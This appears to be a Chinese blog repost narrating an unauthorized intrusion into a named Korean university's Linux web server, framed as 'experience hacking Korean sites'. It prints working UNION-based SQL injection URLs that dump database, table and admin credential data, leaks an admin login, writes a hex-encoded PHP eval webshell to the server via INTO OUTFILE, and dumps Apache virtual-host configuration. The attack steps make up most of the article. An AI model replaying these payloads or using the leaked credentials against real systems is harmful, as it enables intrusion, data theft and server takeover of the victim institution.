热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

一次韩国Linux服务器入侵现场及入侵棒子的经验总结

忘了是谁在群里发了一个注入点,其本人似乎是在做评估国外尤其是韩国站的安全性的练手。当时是一个很简单的注入点:http:ship.iuk.ac.krsub5_4.php?seq-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到数据:shiproot@localhost5.0

 

忘了是谁在群里发了一个注入点,其本人似乎是在做评估国外尤其是韩国站的安全性的练手。
当时是一个很简单的注入点:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 
得到数据:
ship        root@localhost         5.0.51a-community-log
得到数据库:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+table_schema),0,11,12,13,14,15,16,17+from+information_schema.columns
 
information_schema,JIU_WEB,arch,autoe,beauty,biz,cs,docman,ece,ecse,edu,eee,ese,fashion,fire,fn,food,free,fs,fsc,fund,gteri,haksa_db,japan,jimuse,jkufw,klc,media,mysql,nr,omi,omi_new,pa,pt,radi,sanhak,semu,ship,spe,sports
 
某数据库的表:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+table_name),0,11,12,13,14,15,16,17+from+information_schema.columns+where+table_schema=0x72616469
 
admin,free,job,notice,pds,photo,plan,popup,qna,schedule,time
 
得到数据:
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+column_name),0,11,12,13,14,15,16,17+from+information_schema.columns+where+table_name=0x61646D696E
 
常规来讲,以上的步骤没什么问题,简直是轻车熟路老鸟都看了都烦。
但是问题来了。
1,虽然是root权限,但是当时没解开MySQL的hash,即使解开了,MySQL.user里面的host没有%
2,虽然是root权限,但是写不上webshell
3,虽然出来密码,但是找不到后台
好吧,我说说我接触韩国网站的经验
韩国网站的安全性,我个人评估的观点是:外强中干
也就是外表看似无从下手,实际上只是路子不对,找对路子,势如破竹
难点在这里:1,后台难找;2,无法上传webshell
我们先来分析一下后台难找。
因为是韩国的网站PHP居多,而PHP网站架设在Linux服务器上居多,Linux的路径分大小写,有时admin后台他写成Admin的话,你就怂了。另外,例如phpmyadmin,人家如果按照默认名称phpMyAdmin的话你还是怂了。
再者,其实我见过的kr站上面,用admin路径做后台的还真不多,不知道为什么,很多后台的名称是borad,虽然费解,不过还好
因为很多kr站后台的登陆密码简单到死,admin/1234这样的一抓一大把
然后是无法上传webshell
Linux对文件、目录权限的控制有很好的设置,就设置这一点,kr网站的管理员是非常合格的。网站中很少能有可写目录,所以网站被写入webshell的几率就大大减少了
但是一个网站的内容要更新呀,那么不要一厢情愿的随便写webshell,找可写目录写,别一个目录写不上,就吊死了。有的文件夹名称叫upload未必就是可写,fckeditor的目录都未必有可写的路径。在国内网站用fck这样的鸡肋程序拿惯了webshell,在kr站上看见人家也有这鸡肋,轻车熟路的传webshell,结果呢,明明有漏洞,却上传失败。哥们儿,人家是Linux的服务器,都跟国内似的,哪儿都能写入啊?
这个网站其实从看到拿下,因为有经验,所以永不了五分钟
同ip站点查询,第一个站http://radi.iuk.ac.kr/admin
后台就是admin路径。看三级域名和前面注入出来的数据库名。这个站的数据库应该是radi,继续注入得到表admin,字段idpasswd
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+1,2,3,4,5,6,7,8,GROUP_CONCAT(DISTINCT+id,0x5f,passwd),0,11,12,13,14,15,16,17+from+radi.admin
 
这样就得到:radio和111radio登陆
下一步就是进入后台找可写目录(不要着急找地方传webshell,多数情况下,你是没法传上PHP的后门的,有甚者即使有上传功能也因为目录不可写上传失败。)
根据这个地址
http://radi.iuk.ac.kr/editor/inc/addimage.php?img_path=/home/radi/public_html/admin/job/IMG
 
这里直接把物理可写路径暴露出来了。
知道/home/radi/public_html/admin/job/IMG可写
不过要注意区分大小写
既然数据库是root权限,那我就不客气的用了
http://ship.iuk.ac.kr/sub5_4.php?seq=-1+union+select+0x3C3F706870206576616C28245F504F53545B2763275D293F3E+into+outfile+'/home/radi/public_html/admin/job/IMG/bbb.php'
 
得到一句话webshell地址为:http://radi.iuk.ac.kr/admin/job/IMG/bbb.php
查看网站的架设环境Apache/2.0.61 (Unix) DAV/2 PHP/4.4.7
比较古老的网站环境。。。
寻找Apache的配置配置文件,路径找到在这里:/usr/local/apache-2.0.61/conf/httpd.conf
查找一下ship.iuk.ac.kr这个域名,得到配置信息:
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ship/public_html
    ServerName ship.iuk.ac.kr
 
找到可写目录,执行cp命令即可拿到webshell。不过这样cp其实就是脱裤子放屁,韩国Linux主机上面文件的权限这么严,即使拿到一个站的webshell,其实没什么用,因为改不了东西。要死直接提权,那么这个cp不就等于多此一举吗
附录:Apache的配置文件
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ece/public_html
    ServerName ece.iuk.ac.kr
    ServerAlias m1.adbank.co.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/ese/public_html
    ServerName ese.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/spe/public_html
    ServerName spe.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/edu/public_html
    ServerName edu.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/jkufw/public_html
    ServerName jkufw.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/pa/public_html
    ServerName pa.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/semu/public_html
    ServerName semu.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/media/public_html
    ServerName hospital.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/biz/public_html
    ServerName biz.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/gteri/public_html
    ServerName hotel.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/japan/public_html
    ServerName japan.iuk.ac.kr
    SetEnvIfNoCase Request_URI ".(bmp|gif|jpg|jpeg|png|css|js|java)$" not_log
    CustomLog /usr/local/apache/logs/class.log combined env=!not_log
    DocumentRoot /home/food/public_html
    ServerName food.iuk.ac.kr

推荐阅读
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 众筹商城与传统商城的区别及php众筹网站的程序源码
    本文介绍了众筹商城与传统商城的区别,包括所售产品和玩法不同以及运营方式不同。同时还提到了php众筹网站的程序源码和方维众筹的安装和环境问题。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • PHP设置MySQL字符集的方法及使用mysqli_set_charset函数
    本文介绍了PHP设置MySQL字符集的方法,详细介绍了使用mysqli_set_charset函数来规定与数据库服务器进行数据传送时要使用的字符集。通过示例代码演示了如何设置默认客户端字符集。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 本文介绍了在Hibernate配置lazy=false时无法加载数据的问题,通过采用OpenSessionInView模式和修改数据库服务器版本解决了该问题。详细描述了问题的出现和解决过程,包括运行环境和数据库的配置信息。 ... [详细]
  • 禁止程序接收鼠标事件的工具_VNC Viewer for Mac(远程桌面工具)免费版
    VNCViewerforMac是一款运行在Mac平台上的远程桌面工具,vncviewermac版可以帮助您使用Mac的键盘和鼠标来控制远程计算机,操作简 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
author-avatar
一首老歌L_798
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有